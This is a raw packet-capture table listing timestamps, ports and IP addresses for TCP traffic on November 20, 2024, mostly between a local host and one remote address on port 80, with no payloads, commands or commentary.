Nov 20, 2024 16:50:59.206542015 CET	49819	443	192.168.2.9	18.238.49.99
Nov 20, 2024 16:50:59.206557035 CET	443	49819	18.238.49.99	192.168.2.9
Nov 20, 2024 16:50:59.206582069 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.206844091 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.206883907 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.206916094 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.206932068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.207772970 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.207818985 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.207870007 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.208667994 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.208719969 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.208748102 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.208787918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.209618092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.209706068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.209717035 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.209764004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.210552931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.210623026 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.210625887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.210678101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.211448908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.211493015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.211498022 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.211611032 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.212336063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.212388992 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.212412119 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.212464094 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.213284969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.213337898 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.213378906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.213466883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.214164972 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.214240074 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.214282036 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.214338064 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.215214968 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.215229034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.215291977 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.216150999 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.216243982 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.216270924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.216289997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.217088938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.217159033 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.217175007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.217215061 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.217896938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.217962027 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.218034983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.218149900 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.218971014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.219036102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.219078064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.219118118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.219952106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.220005035 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.220025063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.220068932 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.220726013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.220752954 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.220778942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.220798016 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.221525908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.221577883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.221622944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.221666098 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.222465038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.222486019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.222516060 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.222529888 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.223397017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.223452091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.223505020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.223553896 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.224313021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.224390984 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.224489927 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.224540949 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.225249052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.225301027 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.225348949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.225397110 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.226130962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.226182938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.226248026 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.226294041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.227051020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.227097034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.227106094 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.227138042 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.228116035 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.229240894 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.333856106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.455224991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870305061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870317936 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870327950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870335102 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870413065 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.870413065 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.870469093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870481014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870492935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870506048 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870510101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.870517969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870529890 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870537996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.870541096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870553017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.870565891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.870583057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.872112989 CET	49820	443	192.168.2.9	20.110.205.119
Nov 20, 2024 16:50:59.872153997 CET	443	49820	20.110.205.119	192.168.2.9
Nov 20, 2024 16:50:59.872339010 CET	49820	443	192.168.2.9	20.110.205.119
Nov 20, 2024 16:50:59.874352932 CET	49820	443	192.168.2.9	20.110.205.119
Nov 20, 2024 16:50:59.874365091 CET	443	49820	20.110.205.119	192.168.2.9
Nov 20, 2024 16:50:59.918416977 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.918442965 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.918453932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.918467045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.918497086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.918541908 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.918725014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.918772936 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.918773890 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.918809891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.919658899 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.919681072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.919725895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.919740915 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.920645952 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.920692921 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.920768976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.920861959 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.921502113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.921606064 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.921649933 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.921771049 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.922516108 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.922564983 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.922600031 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.922650099 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.923373938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.923432112 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.923521996 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.923566103 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.925009012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.925065994 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.925286055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.925338030 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.925832033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.925878048 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.926022053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.926065922 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.927067995 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.927113056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.972577095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.972610950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.972649097 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.972687960 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.050748110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.050825119 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.050853968 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.050888062 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.051075935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.051126003 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.051171064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.051213980 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.052182913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.052234888 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.052344084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.052392006 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.052957058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.053002119 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.053028107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.053122044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.053848982 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.053966999 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.054011106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.054759026 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.054816008 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.054831028 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.054966927 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.055695057 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.055763006 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.055874109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.055912018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.056617975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.056674004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.056718111 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.056812048 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.057533026 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.057591915 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.057638884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.057679892 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.058460951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.058523893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.058526993 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.058562040 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.059350014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.059396982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.059499025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.059706926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.060389042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.060432911 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.060518980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.060575962 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.064347982 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.064421892 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.065304995 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.065516949 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.068145990 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.068161964 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.068173885 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.068186998 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.068234921 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.068262100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.068280935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.068295002 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.068322897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.068350077 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.069200039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.069215059 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.069263935 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.070230007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.070245028 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.070277929 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.070301056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.071063995 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.071110010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.071163893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.071202040 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.071948051 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.071990967 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.072185040 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.072241068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.073483944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.073529959 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.073663950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.073714018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.074346066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.074414015 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.105298042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.105364084 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.105396986 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.105622053 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.180970907 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.180989027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.181031942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.181107998 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.181310892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.181324005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.181353092 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.181368113 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.182145119 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.182190895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.182332993 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.182560921 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.183121920 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.183168888 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.183355093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.183432102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.183528900 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.183541059 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.183578014 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.183665991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.183677912 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.183712006 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.185910940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.185969114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.186058044 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.186093092 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.186929941 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.186944008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.186992884 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.187014103 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.187845945 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.187896013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.187998056 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.188035011 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.188724041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.188770056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.188906908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.188956976 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.189744949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.189758062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.189794064 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.190674067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.190733910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.190860033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.190901995 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.191447973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.191497087 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.191611052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.191673040 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.192475080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.192531109 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.192635059 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.192678928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.193361998 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.193372965 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.193408012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.194195032 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.194206953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.194247961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.195173025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.195184946 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.195238113 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.196145058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.196192026 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.196309090 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.196353912 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.197050095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.197164059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.197206974 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.197280884 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.197959900 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.198008060 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.198124886 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.198179007 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.198899984 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.198949099 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.199047089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.199090004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.199928999 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.199976921 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.200083017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.200128078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.200587034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.200647116 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.200747967 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.200803041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.201636076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.201694965 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.201811075 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.201854944 CET	49752	80	192.168.2.9	185.215.113.206
